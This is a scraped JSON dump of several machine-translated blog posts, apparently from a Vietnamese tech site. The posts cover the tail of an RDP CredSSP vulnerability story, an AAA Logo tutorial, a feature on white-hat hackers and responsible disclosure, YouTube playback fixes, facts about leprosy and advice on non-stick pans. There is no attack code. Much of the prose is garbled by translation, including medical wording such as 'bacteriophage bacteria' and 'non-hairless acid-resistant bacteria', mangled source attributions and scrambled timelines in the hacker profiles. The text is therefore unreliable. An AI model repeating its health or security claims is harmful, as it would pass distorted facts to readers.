especially important when controlling domain names, when most Remote Procedure Call (RPC / DCE) are turned on automatically, 'said Yaron Zinar, a researcher in Preempt.\nBecause RDP is the most popular application for remote login and most business customers use RDP, most networks are at risk because of this error.\nThe problem was reported to Microsoft by Preempt last August, but it was not until Patch Tuesday that it lasted nearly seven months - they patched the vulnerability.\nResearchers also warn that patching alone is not enough to prevent attacks, IT professionals should change some of the necessary configurations. Blocking related application ports including RDP or DCE / RPC also helps to reduce but this type of attack can be done in many ways with other protocols.\nTherefore, above all, it is advisable to limit the use of the highest possible account. March Patch Patch also patched other software such as Microsoft IE, Edge, Windows OS, Office, PowerShell, Core ChakraCore and Adobe Flash.\nSee more:\nTop 12 most dangerous backdoor in computer history Secure Terminal Services of Windows Server 2008 Access Windows Remote Desktop via Internet ncG1vNJzZmismaXArq3KnmWcp51kwamxjJypnpyjqL1uwtSlpZ6qkZe2rbXTsmSipl2ptaZ50Z2nZqiipMGwr86lZJqelpqwtb%2BMmqOlZaaav7S1zqeqZqeWYsSqusOorqw%3D\n","link":"/post/the-credssp-vulnerability-in-the-rdp-protocol-affects-all-versions-of-windows/","section":"post","tags":null,"title":"The CredSSP vulnerability in the RDP protocol affects all versions of Windows"},{"body":"In the field of graphic design especially logo design, AAA Logo is widely appreciated by many people, because the simple user interface is not too complicated but full of features to create a professional logo. The software provides users with available logo templates for each different theme and layout. You can choose and then edit the details as you like.\nOr you can use the icons provided to make our own ideas and designs for our logo. The editing tools are also provided fully, from basic to advanced so that users can change the logo design as they wish. The following article will guide you how to create logo design with AAA Logo software.\nWebsites that create free online logos 17 tips that any graphic designer must know 10 impressive design tools need to try now How to design logos with AAA Logo Step 1:\nClick on the link below to download the AAA Logo software installation file, then proceed with the installation as usual. The installation steps are similar to other software.\nDownload AAA Logo software   Step 2:\nStart the software. At the first interface you will come immediately with the logo templates available in AAA Logo: Logo Templates . On the left side of the interface will be different template topics to choose from such as economics, entertainment, art.\nClick on a logo type you want to use to proceed with the editing.\n  Step 3:\nThen the user will be switched to the editing interface, to edit text, shapes, colors, . To edit somewhat please click on that part.\n  Step 4:\nWhen you click on a detail in the logo, there will appear to be a Shapes \u0026amp; Text Style panel on the right to edit the content, size, and shape of the detail. Depending on the style of the logo that you have chosen before to edit it to fit and like.\n  Step 5:\nNext look to the right of the interface, choose colors for details with the relatively rich color palette that AAA Logo provides in Library Styles. Click on the arrow icons to change the different color styles.\n  Step 6:\nNext to the left of the Object Library section , you will proceed to edit the icons with different fields. Click on the field provided by the software, then select another icon related to the selected field.\n  We can combine symbols together, depending on your logo and creative capabilities.\n  In case the user wants to delete any details in the logo, click on the details then right-click and choose Remove , or press Ctrl + Del.\n  Step 7:\nTo resize, rotate the icon or text in the logo, we select the Edit Selected Object bar at the bottom of the interface.\n  Here we will see there are 6 different editing sections for the details in the logo you are designing. The editing functions include:\nScale: Zoom out in detail. Rotale: Rotate details in different angles. Color: Change the color for details. Compose: Combine, split the object in the logo. Styles: Add effects to details. Text: Add text to the logo.   Step 8:\nIf you have finished editing and satisfied with your logo design, click on the File menu and select Export Image to proceed with exporting images.\nNote to you , because we are using the AAA version of the trial logo, we cannot download the designed logo. In this case, users can capture the screen and edit it on Photoshop tools or other professional image editing software.\n  The interface is not too complicated and very easy to use to design the logo is the strength of AAA Logo. You will not need to perform too many operations, you can immediately use the available logo template and edit the layout and details as you wish. The editing tools are also complete so that we can create the logo that best suits.\nSee more:\n8 \"recognition\" fonts used on applications or websites 15 tools to help build a website for beginners (no code required) How to create professional Infographic by Piktochart I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkmpmRYrmws85mp6unlprAtLXOp5ilZZyktLB5w56qop%2Be\n","link":"/post/using-aaa-logo-professional-logo-design/","section":"post","tags":null,"title":"Using AAA Logo professional logo design"},{"body":"One day, in a peaceful neighborhood, there were a few spare young people who possessed quite a lot of IT skills and were especially passionate about exploring and exploring sophisticated security systems that had broken. successful protection barrier of a smart lock smart lock system, which is commonly used in modern apartments today and proved to be more efficient and convenient than with traditional door locks.\nHowever, penetrating that 'fragile' security class is not the real purpose of these young people. Rather, it is only a necessary step for them to gain access to the 'smart hub' - the center of the intelligent control system - that regulates the operation of this smart lock system (and also those Other similar smart locks, are being used in millions of homes across the planet. And they only take 2 days to get into this system.\n12 'must-have' devices for smart home (Smart Home)   Smart lock - smart home appliance is increasingly used popularly - not as safe as many people think\nWhen Charles Dardaman, an over 20-year-old hacker - and a well-known game addict, lives in Dallas, USA, he and his close friend, Jason Wheeler, a young information security specialist, together entered the control center of a smart lock system. Here, both found the hard-coded administrator password on its memory card. This is much more valuable than just cracking security and breaking into that smart lock system.\nSmart hubs that Charles Dardaman and Jason Wheeler have infiltrated are those of Zipato, a company operating in the field of smart home technology, currently controlling and operating many smart door lock system utilities. thermostat and home security system. Obtaining administrator-level access to smart hubs is like holding the key to opening any home using Zipato's smart lock technology.\nHere, many people probably think that Charles Dardaman and Jason Wheeler will come together to find homes that are using smart lock Zipato, use the security key that they hacked, open the door and 'steal' something there. Or worse, sell your findings on the black market and earn a profit. But no, these two young men did not only have no illicit intentions, but also decided to report all details related to the \"violation\" that they had made to Zipato so that the company could have a plan. This is the act of moral 'hackers', also known as white hat hackers.\nFilipino hackers attack the Vietnamese web, retaliating that many users' Facebook accounts are 'hacked' by Vietnamese people   Charles Dardaman's Twitter account, young white hat hacker is very popular\nSo what is the specific white hat hacker? First, it must be affirmed that white-hat hackers are righteous, in stark contrast to black hat hackers. White-hat hackers are experienced and professional cyber security professionals like black hat hackers, but instead of trying to attack the system to gain unauthorized profits, they take the time to research, prevent Block, prevent and report to system owners about security vulnerabilities before it is exploited by bad guys.\nAccording to HackerOne statistics - a platform dedicated to rewarding hackers when they report security vulnerabilities - the majority of white-hat hackers operating in the platform live in India (23%) and the US (20%), 6 % in Russia, 4% in Pakistan, and 4% in the UK. They come from many different educational environments, of which mainly self-study (58%), while some study in computer science at university or high school. Most white-hat hackers are young people, 90% of white-hat hackers on HackerOne are under 35, 50% are under 25 and 8% are under 18 years old.\nDardaman and Wheeler are also white hat hackers who break into a system with the desire to make the system even more comprehensive. In addition to free white hat hackers like Dardaman and Wheeler, many other individuals work for government agencies or large corporations and businesses. They are sometimes referred to as security - network security experts.\nThe most dangerous hackers on the planet: Anonymous, Equation Group, Department 121 . What do you know about them?   White hat hackers are righteous people - in stark contrast to black hat hackers\nAlthough the activities of white-hat hackers are not illegal and have a righteous color, that does not mean that all acts of intrusion into their systems are strictly authorized. While many white-hat hackers work on 'orders', asking them to check the vulnerabilities of a particular company, some people like Dardaman and Wheeler spend days, even months. In order to find a way to break into a system, pursue informal projects, this sometimes causes them to encounter unnecessary problems with the target system owner.\nBack to the hack smart zipato hub of 2 young men. At first they had no idea to do such a mission, that thought only appeared when they read the story of an experienced information security specialist named Lesley Carhart. Number is Lesley Carhart living in a rental apartment, a beautiful day, the owner decided to switch to using smart door lock to ensure safety, Lesley certainly did not object but she met no less troublesome while learning how to use this 'modern power damage' system. Immediately, plus the desire to learn and talent for information technology, this security expert decided to hack the newly installed smart lock system. It is this humorous but equally cool story that inspired Dardaman and Wheeler.\nWith this fake Lightning cable, hackers can remotely take over your computer in minutes Dardaman and Wheeler have 'hacked' into Zipato's smart hub system to prove that Lesley Carhart's concerns about security holes in smart lock systems and capital devices are designed to enhance safety. Now, it becomes less safe, is completely grounded.\nThe incident was later shared by techCrunch TechCrunch and the news immediately spread. Another fact that is exposed, companies are now focusing on promoting the excellence of smart home technology that ignores security enhancements, because they probably don't think the weaknesses on their products I was exposed so quickly.\nSuch 'ethical hacking' missions mean really important to everyone's safety, as well as related businesses.\nIn 2015, a group of hackers successfully infiltrated the management and remote control system of a jeep when it was on the road - extremely dangerous behavior, causing Chrysler to make a decision. recalled 1.4 million cars to fix errors.\nIn 2018, a white-hat hacker group from Anonymous security organization Calgary Hivemind has silently hacked into Nest's security camera system software to warn people about potential vulnerabilities - causing Nest's customers to worry. sediment, forcing this company to patch the system as well as encourage users to apply 2-factor verification.\nOr as it was earlier this year, an anonymous white-hat hacker group revealed a series of security flaws in Medtronic's heart-implanted medical devices that could allow an attacker. Remote device control, endangering patients. Soon, Medtronic was forced to explain the incident to the US Food and Drug Administration (FDA) and release a vulnerability patch.\nMost mobile calls in the world today can be eavesdropped by hackers   The relationship between white-hat hackers and the companies that own the products they have discovered is sometimes not very smooth.\nThe above are just small examples of white-hat hacker contributions to people's safety, as well as contribute to improving the quality of products and services. If those security holes are not found and reported before being used by bad guys, the consequences will be unpredictable.\nHowever, the relationship between these moral hackers and the companies that own the products they invaded are sometimes not very smooth. While some organizations and enterprises always appreciate the activities of white-hat hackers and consider these valuable contributions to help them improve their products, there are many other companies that consider hackers to be enemies in general. , and hardly distinguish between white hat hackers and cyber criminals. 'For many companies, they would rather pay fines or even sacrifice the interests of customers instead of investing in fixing security holes,' said a white-hat hacker who declined to be named. In the context that sanctions and regulations on this issue have not yet been fully promulgated, the attention of the media and pressure from public opinion will still play a role as the most optimal measure to force enterprises must implement security policies in a reasonable way, respect customers' rights.\nIn contrast to Dardaman, breaking the law for personal gain, such as finding a loophole to extort money from businesses, has never been a viable option. 'I want to have a normal life, do what I think makes sense, and help people,' said the young hacker.\nDetecting vulnerabilities in Snapdragon chips allows hackers to penetrate nearly every Android smartphone via wifi The chance to lead Dardaman to become a white-hat hacker is quite accidental. During the summer break after graduating from high school and preparing to enter college, the young man was free all day and tried to write cheating software for Minecraft games. Dardaman appointed to write and play to see how well his ability was but 'how bad the sky makes' succeed. From there he shot his head more interested in finding out how to get into a system himself.\nAs time went on, cultivating Dardaman's passion for the life of a hacker, and until he got a degree in information technology major, he really realized that he would definitely must become a white hat hacker, a career of choosing people, it can't be helped.\nCharles Dardaman is currently working at Critical Start, an intermediary brokerage firm, which helps white-hat hackers sign security monitoring contracts for large commercial and banking corporations. Companies like Critical Start are part of the 'information security industry' - an emerging and fast-paced sector, in line with the growing number of cyber attacks. both in quantity, complexity and damage they have caused in recent years.\nThis field has been around for a long time but has only been developed in the early 2000s as a way to deal with data breaches of the pre-Internet globalization era, and the birth of the Social media as well as online retail. At that time, the black hat hacker 'washing his hands and guarding the sword, changing the rules' to being a white-hat hacker after being arrested or sentenced to punishment was extremely unlikely, sometimes even considered abnormal. . For now, such cases are not uncommon, such as the case of 'WannaCry' Marcus 'MalwareTech' Hutchins. Marcus Hutchins was a cybercrime who was arrested by the FBI for alleged acts of creating and distributing various types of malicious code to steal money in banks in 2014, but later It has been 'major reassertion' and became a well-known security researcher, playing an important role in the WannaCry malware attack campaign in 2017.\nThe hero WannaCry Marcus 'MalwareTech' Hutchins will not be imprisoned - a common victory for white-hat global hackers   WannaCry 'Marcus hero' MalwareTech 'Hutchins, who has successfully changed the hat color and is loved by the community\nFor young people who want to be white hat hackers like Dardaman, it's easy to sign up for school-based, or online, and online ethical hacking courses, and get online security certification.\nDardaman contracted to test system vulnerabilities with businesses almost continuously, and each such contract is usually completed in about 1 to 2 weeks. Typically, companies that have contracted Dardaman will not disclose to their internal security team about the contract as well as the appearance of Dardaman. They allowed him to freely \"wander\" in his network quietly, watching how things worked and finding a way to penetrate deeper into the system. will only last for a few days.\nImmediately after the well-intentioned screening, it will be the \"steel punches\" that Dardaman will inflict on the security system of that enterprise to check its defensive capabilities as well as overcome damage on the system. More specifically, his final destination is usually to gain absolute access to the company's servers to 'test the security team'. Leaving Dardaman in the system means that the company's security wall has a problem, and if after a few days still can't 'catch' Dardaman, the company's IT team will be forced to reassess the Their security tool.\nIn his free time, without a contract, Dardaman often hacks smart home technology - devices that can be activated by voice, remote controlled by sensors or an internet connection - because he believes that virtually Everyone does not know the danger from security risks on these devices.\nBack in 2018, a hack aimed at Guardzilla's security camera system allowed Dardaman to gain access to the information store stored on users' devices. However, Dardaman does not \"touch\" the amount of data in that repository, because doing so is illegal, no longer an act of a white hat hacker.\n'There is no better way to protect your system than testing it in real-life situations. This situation is the case of an attacker or a cyber criminal trying his best to infiltrate the system, without any mercy, 'said Phillip Wylie, a system penetration test specialist. at the US Central Bank, and information security professor at Richland College, said.\nThe 5 most notable cyber security conferences in the world take place throughout the year   Phillip Wylie is a system penetration test expert - \"genuine\" white hat hacker\nLike Charles Dardaman, Phillip Wylie is drawn to sweating situations when he attempts to infiltrate a system, the excitement of successfully drilling a closed security wall, and above all the joy was mixed with pride when announcing that vulnerability to the system owner because he knew that he had done something meaningful.\nBefore joining the US Central Bank security team, Wylie had long worked as a security consultant, specializing in the implementation of penetration tests or meetings. Authorized network attack on web applications. Once, Wylie found a serious vulnerability that allowed him to access the core database of a client system. The password of this system is set in a way that can't be overstated, just 'password1', and Wylie didn't take much effort to break it. Later, he used a tool called John the Ripper to infiltrate the system (this process only took a total of 30 seconds). 'I can add users to that system; I can close the server, turn off the database, delete the profile. I have full control of the system, 'Wylie said. And then of course Phillip Wylie reported all the information about the vulnerability and how to infiltrate the company. He was awarded a bonus, but the most significant thing for Wylie was admiration and thanks.\nBut not all hackers put a lot of effort into penetrating the system just to reveal security risks. Jane Manchun Wong, a 23-year-old computer science engineer living in Hong Kong, often spends his free time \"training\" his reverse-engineering applications to understand the the power of the future. 'The things I find are public information,' Wong said, 'they are hidden in people's phones, computers, and extracting these data will be extremely difficult.'\nThis 23-year-old female hacker is the one who finds secrets that Facebook and other tech giants don't want to reveal   Jane Manchun Wong has revealed shocking information about Instagram\nIn April, this hacker revealed a shocking information that Instagram was, is, and will try to hide data about visits, such as the number of views on photos, to certain user objects. 'For the first time when I posted about this discovery, Instagram tried to say, \"We didn't do that.\" However, that code actually exists - that's the bottom line,' Wong. At the end of April, Instagram announced that it would begin testing hidden likes for some users in seven specific countries, just as the Chinese female hacker discovered.\nHowever, Jane Manchun Wong's ultimate goal with his findings is similar to other white hat hackers, which is reported to the owner. After finding leaked user data in the code, she reported to the company so they could overcome potential violations, which is the job of a \"real\" white hat hacker.\nIn a BBC interview, Wong explained: 'Ever since I started getting the attention, companies started tracking my tweets, many companies have improved their security. Their use is thanks to my findings, and I'm happy about that. In addition to passion, this is also one of the important motivations to help me overcome difficulties and pursue the career of a moral hacker. When companies successfully improved their security capabilities, they sent me thanks and even remuneration. I feel like life is more meaningful '.\nMysterious hackers offer Windows zero-day vulnerabilities to the world's most dangerous cyber criminals   Sometimes Manchun Wong makes big companies 'salty' after revealing gaps in their products\nWong's hacking missions really caught the attention of the media. When she revealed the news about Instagram, online, almost all major tech sites reported, thousands of debates broke out across technology forums around the world, the reputation of this female hacker also so that is enhanced. Sometimes Manchun Wong makes big companies 'salty' after revealing holes in their products, and of course no one wants to be humiliated. Many companies do not like Wong, but because of the pressure from public opinion, they are forced to quickly release bug fixes, and users will be the most beneficiaries, that's what she really does. center.\nMost white-hat hackers have pledged that they have no intention of \"stalking\" to lower the reputation of companies or try to spark a media crisis to knock down a certain brand. Indeed, normally, the vulnerability will be reported privately to the owner by white hat hackers, and left them for about 90 days - the standard time offered by Google ED Project Zero - to patch any any security hole After that time, if the vulnerability has not been patched, they will understand that the company deliberately does not care, and will publicize its findings, which is the usual workflow of white hat hackers.\n'If they responded to our report and immediately embarked on a patch, it was wonderful, reflecting a sense of responsibility and respect for contributions from people like us. But if they do not patch, or simply ignore our report, all information about the vulnerability will be made public. 90 days is a time limit, this excess, all explanations are fallacies. If businesses know how to put their customers' interests first, they will have to patch the gap around that time, 'said Dardaman, who always follows this strict code of ethics.\nJane Manchun Wong is also willing to work with product owners that she finds a problem. Last year, Wong discovered that Facebook is quietly deploying a javascript library to make web applications faster. When she started \"hinting\" about this secret project on Twitter, a Facebook employee contacted and asked Wong not to disclose the details of the information she had, because Facebook had planned to publish. it was next year - and Wong accepted the offer. Facebook also kept a promise with Wong when releasing this project as an open source last May, which made Wong feel pleased that he was respected.\nThe Forum focuses on notorious social network hackers who have been hacked and sold for sale on other forums   Hackers on white hats don't 'hide their hair' to lower companies' reputation, extort money, or seek bonuses\nHowever, many other white-hat hackers are not as \"easy-going\" as Wong, they sided with the interests of users more than businesses. They feel responsible for telling users about security flaws, despite the fact that businesses can suffer heavy losses in prestige. This sometimes causes them to suffer rage and retaliation from many companies. But then, public opinion will raise the question whether this business is really interested in the rights and interests of customers seriously, or just focus on ensuring personal prestige, At this time, the prestige of the business will be even worse.\nBut sometimes white hat hackers get into trouble with the good work they do. Many businesses even denounce white-hat hackers for violating their systems. 'If you find a flaw and report it, but the product owner says that they will denounce your infringement behavior to law enforcement agencies, it is a problem not easily solved \" \"Wylie said. Although this doesn't happen often, and sometimes it's just a threat.\" But don't be too worried, then you'll be given a free legal knowledge test. \" .\nIn the case of young hacker Charles Dardaman with the smart hub system of the smart home appliance maker Zipato mentioned above. The business gave feedback immediately after receiving a report of the vulnerability, and pledged to fix the vulnerabilities as soon as possible. Such businesses are not only unreliable when they are found to have faulty products, but even their reputation is enhanced, as a company responsible for their customers. 'They are certainly not happy to hear me announce the gap,' said Dardaman, laughing, 'however, they quickly corrected the error and I'm happy about it.'\nThe alarming increase in the number of attacks targeted at IoT devices   White hat hackers - heroes who don't cloak!\nHy vọng sau bài viết này, chúng ta đã có cái nhìn sâu sắc hơn về công việc và những khó khăn mà một hacker mũ trắng phải đối mặt. Họ chính là những người đang ngày đêm chiến đấu bảo vệ sự bình yên trên không gian mạng, để đảm bảo quyền lợi của người dùng công nghệ trên toàn thế giới - đó là đóng góp thầm lặng của những vị anh hùng không áo choàng!\nNgoài hacker mũ trắng và hacker mũ đen, giới hacker còn những màu mũ nào nữa? Có công việc chân chính nào dành cho họ không? ncG1vNJzZmismaXArq3KnmWcp51kxKm1056fmqxdna6kt8SrqmaeoqS6bsDHnqCrZaCWwLS1zqdkraddqbWmecmomWasn2Kyor7NZqSoppWueqK6w2ajoqykobKsus6wpWasmJ67qL8%3D\n","link":"/post/white-hat-hackers-from-their-passion-to-the-job-to-earn-money-and-little-known-things/","section":"post","tags":null,"title":"White-hat hackers, from their passion to the job to earn money, and little-known things"},{"body":"If your computer, Mac or Android and iOS devices can't watch videos on Youtube, or can't load videos, or videos don't play, then you can apply some of the solutions below to fix the errors. .\n  \nYouTube video error phenomenon black screen on the browser, mobile\n1. On Android device To fix a YouTube video error that doesn't play on your Android device, you can apply some of the following:\n1.1. Delete the YouTube application cache: You can apply this way to fix any errors that occur during video playback on the YouTube application.\nTo delete the YouTube application cache, go to Settings =\u0026gt; Apps =\u0026gt; YouTube . On the YouTube application information page, click on Storage , then find and click Clear Cache .\n  If you clear the cache and the error still occurs, then you can find and click the Clear Data or Force Stop option to delete the application data and check if the error is still there.\n1.2. Update YouTube application: If you apply the above method and still cannot fix the error, the cause of the error is most likely because your YouTube application has not been updated to the latest version, and to fix the error, try updating the version. Latest for YouTube application on your Android device.\n2. On iOS device 2.1. Delete the YouTube application cache: Similar to Android devices, to fix YouTube video errors that are not played on iOS devices, you can try to apply a method that clears the YouTube application cache. However, on iOS does not allow to clear the cache as on Android device but you must uninstall the application then proceed to reinstall the application.\nAfter you've done this, check to see if the error still exists.\n2.2. Activate use of mobile data on YouTube: In some cases you can try to apply the method of using mobile data to play videos on YouTube to see if the error still occurs.\nTo do this, go to Settings =\u0026gt; Mobile / Cellular , then scroll down to find YouTube and just switch the application status to ON and you're done.\n  2.3. Update YouTube application: Google has eliminated support for older versions of YouTube apps, and that could be the cause of a non-streaming YouTube video error. So to fix the error you need to make sure that the YouTube app on your iOS device has been updated to the latest version.\n3. On computer and Mac 3.1. Chrome browser: - Activate JavaScript:\nThe cause of the YouTube video error is not likely to be because JavaScript is not activated. To enable JavaScript, visit the Chrome Settings =\u0026gt; Show advanced settings page .\nAt the Privacy section, click on Content Settings . Here you find the JavaScript section, then select the option Allow all sites to run JavaScript (recommended) and then click Done .\n  - Clear cache and cookies:\nTo clear cache and cookies on Chrome browser, first click on the 3 dots icon in the top right corner of the Chrome browser window, then select More Tools and click Clear browsing data .\nAlternatively, you can open the Clear browsign data window directly by pressing Ctrl + Shift + Delete .\nOn the Clear browsing data window, select the cache option and cookies as shown below, then click Clear browsign data. After completing the test, check whether the error still occurs.\n  - Activate Do Not Track Requests:\nTo activate Do Not Track Requests, you access Chrome Settings =\u0026gt; Show advanced settings , in the Privacy section you enable the option called Send \"Do Not Track\" request with your browsing traffic. Next close Chrome browser and open it again, try playing a YouTube video and check if the error is still there.\n    \n- Disable Hardware Acceleration:\nIn addition to the above, you can try to disable Hardware Acceleration and check if the error is still there.\nOn the Chrome Settings page, find and click Show Advanced Settings , then scroll down to System . Here you leave the option labeled Use hardware acceleration when available .\n  And if you have applied all the above solutions and still can't fix the error, you should check the installed extensions and remove these utilities. The reason is because some add-ons and extensions that cause YouTube errors do not work properly.\n3.2. Safari browser: If you are using a Mac and you also encounter errors on YouTube, you can fix the error by deleting the cookies and deleting the browser data.\nTo delete cookies and browser data, go to Safari Preferences and find the Privacy tab, then click Manage Website Data . On the next window, click Remove All .\n    If you've deleted cookies and browser data and still haven't fixed the error, try checking the extensions installed on your browser and removing the extensions that you think are the cause of the error.\nRefer to some of the following articles: How to watch blocked YouTube videos or restrict viewers without signing in or proxying 9 tips to increase YouTube video rankings on Google Summary of how to fix errors without downloading files, not accessing YouTube and Not Responding errors on Chrome browser Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWmnrGmu9Jmm6impGK9ra3YZpmlmZOgerSv0Z6cp2Wfo3qiusOrpqKcXZ68tHnCqKSpraSav26tzZ1kppmTYsGptdJmoKxlmKTEbsDOZp2isF2av7O70aw%3D\n","link":"/post/youtube-videos-don-t-play-black-screen-on-android-ios-computer-and-mac-this-is-how-to-fix-errors/","section":"post","tags":null,"title":"Youtube videos don't play, black screen on Android, iOS, computer and Mac, this is how to fix errors"},{"body":"Leprosy ( Leprosy or \"leprosy\" ) is a chronic systemic infection caused by the bacilli. Leprosy can cause symptoms of paralysis of the legs, arms and legs, and loss of sensation on the skin, especially in the hands and feet. However, the current reality is that the disease is less extreme and completely treatable.\n Photo source: National Museum of Health and Medicine / Contributed by Major Buker OSG [Office of the Surgeon General]\nRecently, leprosy is also called Hansen 's disease , it is caused by bacteriophage bacteria ( Mycobacterium leprae ) - non-hairless acid-resistant bacteria without shells, which do not produce spores, can be located separately but often in bundles parallel or in clusters. The disease causes skin damage and permanent nerve damage, but there is a misconception that causes paralysis of parts of the human body.\nHere are 6 strange facts about leprosy that you may not know.\n1. In the US there are still many cases of leprosy  Photo source: Kent Weakley / Shutterstock.com\nAlthough leprosy is often thought to be an \" ancient \" disease , people in the world can still be infected and infected. In September 2016, there was a case of leprosy reported to be a student in California and a few cases appeared each year in the southern United States , including Florida, Louisiana and Texas.\nAccording to the US National Hansen's Disease (Leprosy) Program ( NHDP ), \" In 2014 alone, there were 175 cases of leprosy in the United States. Normally, there are about 150 to 200 cases of disease each year. room \".\n2. The leprosy is completely curable  Photo source: Nenov Brothers Images / Shutterstock.com\nIsolation immediately after diagnosis of leprosy can \" destroy \" the patient. However, now this evil monster disease can be easily treated with a combination of antibiotics.\n\" However, this treatment will take a long time to\" finish \": Patients diagnosed with leprosy may need to take antibiotics for about 6 months to two years \" - according to Trung. CDC's Centers for Disease Control and Prevention (CCC ) said.\nAccording to NHDP , when patients start taking antibiotics to treat leprosy, they may not spread the bacteria to others for several days. Because antibiotics quickly kill most bacteria that cause leprosy and a few remaining bacteria are not enough to infect others. But if the treatment process stops too early, these bacteria can continue to infect as often.\n\" Deadly bacterial infections may exist in the body a few years after treatment ends and dead bacteria do not pose a risk of re-infection \" - NHDP said.\n3. Tatu species can get leprosy  Photo source: Arto Hakola / Shutterstock.com\nThe reason why the leprosy cases are more common in some parts of the world - is because of a defined animal living in those areas. \" Nine-banded armadillos \" ( dasypus novemcinctus ) - a mammal that has a thick outer shell, also known as a tatu .\nIn fact, the armadillo animal is the medium containing the bacteria that causes leprosy - the cause of leprosy and transmission of bacteria to humans. Researchers believe that humans have transmitted leprosy to armadillo animals for about 500 years, and a study from 2011 confirmed that armadillo could infect humans.\nHowever, lovers of other animals do not need to be too scared because the armadillo is just another animal other than humans - known to be leprosy.\n4. Most people are immune to leprosy  Photo source: royaltystockphoto.com/Shutterstock.com\nYes, leprosy is an infectious disease - people can become infected if they \" breathe \" in the bacteria. However, one of the reasons unpopular leprosy is \"an estimated 95% of people are immune to leprosy \" - NHDP announced.\n5. There is still a \"leprosy colony\" in the United States .  Photo source: J. Stephen Conn / flickr.\n. But people with leprosy are no longer forced to live there.\n\" From 1866 to 1969, people with leprosy were transferred to Hawaii's Kalaupapa peninsula, located on Molokai Island \" - according to the National Park Service ( NPS ). Today that area is a national park.\n\" Over hundreds of years, more than 8,000 people, mostly Hawaiians, have died in Kalaupapa \" - NPS said. \" Although people with leprosy have been free to leave that area since 1969, there are still many people who stay because it is their homeland \" - according to CNN. \" Leprosy patients still live there despite being cured \" - according to NPS.\n\" As of September 2015, 16 patients with Hansen's disease still live in the Kalaupapa Peninsula \" - CNN reported.\n6. Current leprosy is not the same as what is written in the Bible  Photo source: Bjoern Wylezich / Shutterstock.com\nAlthough leprosy is also mentioned in the Bible, the references are not exactly what people with leprosy currently experience.\n\" Instead, the word\" leprosy \"mentioned in the Bible is translated from a Hebrew word in Hebrew, so it only means\" dirty. \" For people, clothes or even buildings, \" said Nepal Leprosy Trust .\nWhen these words appear in the Bible in the reference section for everyone, it appears to refer to skin diseases.\nNHDP also notes that Hansen's disease is not \" the Old Testament leprosy \".\nncG1vNJzZmismaXArq3KnmWcp51kg26%2F06uYp5%2BVYrOir9OsZJqan6rBbrjEqamoq6lixrDBjKaYsmWepMFut82ormaxlak%3D\n","link":"/post/6-strange-facts-about-leprosy-you-may-not-know-yet/","section":"post","tags":null,"title":"6 strange facts about leprosy you may not know yet"},{"body":"No one can deny the convenience that non-stick pans bring. Thanks to the smart, advanced design, cooking is more and more easy and convenient. However, to keep these pans long in use is something that not everyone knows.\nIn the following article, we will share with you some great tips to help the non-stick layer be used for a long time and not be killed.\n  I. Good tip to keep the non-stick coating durable 1. Cooking at too high a temperature Non-stick pans are only suitable for medium or low temperatures. Using them to cook high temperatures may damage the non-stick coating.\nTo check the temperature accurately, you can apply the butter test, whereby if the bubble appears, the pan has a standard heat and if the butter turns brown, you need to reduce the heat.\n2. Wash the pan with tea residue when you first bought it\nNewly purchased non-stick pans often have an unpleasant and toxic smell of oil or metallic odor. Washing with regular dishwashing water sometimes does not help you remove this unpleasant smell.\nThere is a very simple way that you fill the pan with water, put the tea bag in a small bag and rub it on the pan surface. You can also use green tea leaves to boil about 2-3 times to deodorize. This work is very effective to make the pan without smell but extremely safe to use later.\n3. Only use wooden spoon / spoon when cooking\nUsing a wooden spoon / spoon will help protect the surface of the scratch-resistant pan, thereby increasing the durability during use.\n4. Do not use the pan to bake or store food\nAlthough equipped with non-stick coating, you should not use the pan to bake or store food anywhere. This practice will often cause the non-stick layer to quickly peel and crumble.\n5. Add cooking oil to the pan before turning on the stove\nWhen cooking, we often have the habit of putting a hot pan and then pouring oil into frying, stir-frying food. However, this job is only suitable for ordinary aluminum and cast iron pans.\nFor nonstick pans, you should pour the oil directly into the pan, then put on the stove and heat the oil. If you leave the pan against heat before pouring the oil, it will make the non-stick surface of the pan peel off, causing toxic to the user and reducing the life of the pan.\n6. Store the pan\nHanging on a high shelf is the best way to store non-stick pans. You should not put other pots and pans over the pan, avoid scratching the pan or pan deformation.\n7. Wash the pan with warm water\nKeep the surface of the basin clean, because grease, sugar, salt and leftovers can reduce the pan's ability to stick.\nThe pan will be cleaner when cleaned with a warm bowl wash solution.\nNote: Do not wash the pan when frying is finished, because the temperature changes suddenly, making the pan deform and peel off the non-stick layer.\nII. Top best selling nonstick pans today 1. Deep frying pan with enamel coating Supor F03A28 - Reference price: 289,000 VND Supor F03A28 28cm non-stick glaze pan is designed with many outstanding advantages in style and quality, helping to support the cooking job quickly, safely, conveniently and more efficiently.\nThe deep design makes it easy to stir the food inside, avoiding the food falling out. Safe non-stick coating ensures your family's health. Outside handling hard oxidation technology, anti-scratch deformation, use 3 times longer than conventional products.\nHandle with high quality plastic material, flame retardant, good insulation with standard length, easy to manipulate without causing hot, burn hands. Roll the pan with a hanger so you can hang the pan on the shelf when not in use, save space and compact the kitchen area.\n  Specifications:\nBrand: France Product weight: 1kg Type of kitchen used: Gas stove Anti-stick: Yes 2. Non-stick pan Supor F03A26 - Reference price: VND 149,000 Supor F03A26 26cm non-stick frying pan has a luxurious design, a modern design that helps to help housewives cooking more easily. Frying pan F03A26 is made of high quality aluminum alloy material, fast heat conduction and even heat dissipation. Inside coated with anti-stick coating and dust, the outside is a heat-resistant paint, not only works when cooking but also creates high aesthetics for the product.\nThe handle of 26cm aluminum F03A26 pan is made of high quality plastic material, flame retardant, good insulation with standard length, easy to manipulate without causing heat, burns hands.\nIn addition, the deep-bed pan bottom Supor F03A26 is designed with anti-slip twist when used on the kitchen. So you can safely cook without worrying about slippery pans, pouring food into your body.\n  Specifications:\nMade in Vietnam Brand: France Type: Contains non-stick enamel Product weight: 700g 3. Deep frying pan, Lock \u0026amp; Lock LHB9305-IH - Reference price: VND 479,000 Lock \u0026amp; Lock non-stick pan LHB9305-IH very deep pan design helps you to cook more food. Not only cooking, Cookplus Hard \u0026amp; Light Marble LHB9305-IH is also suitable for deep frying dishes.\nLHB9305-IH can be used on all types of stoves, including induction cookers. Products with luxurious colors and elegant designs contribute to adorn the space of the kitchen more lively and comfortable.\n  Specifications:\nMade in Vietnam Brand: Korea Anti-stick: Teflon 4. Sunhouse SHS28 anti-stick pan - Reference price: 185,000 VND Sunhouse SHS28 has 5-layer design with 3 high-grade non-stick layers, 1 layer of 2.4mm thick aluminum plate and 1 outer heat-resistant color coating. Therefore, the pan is highly resistant to sticking and 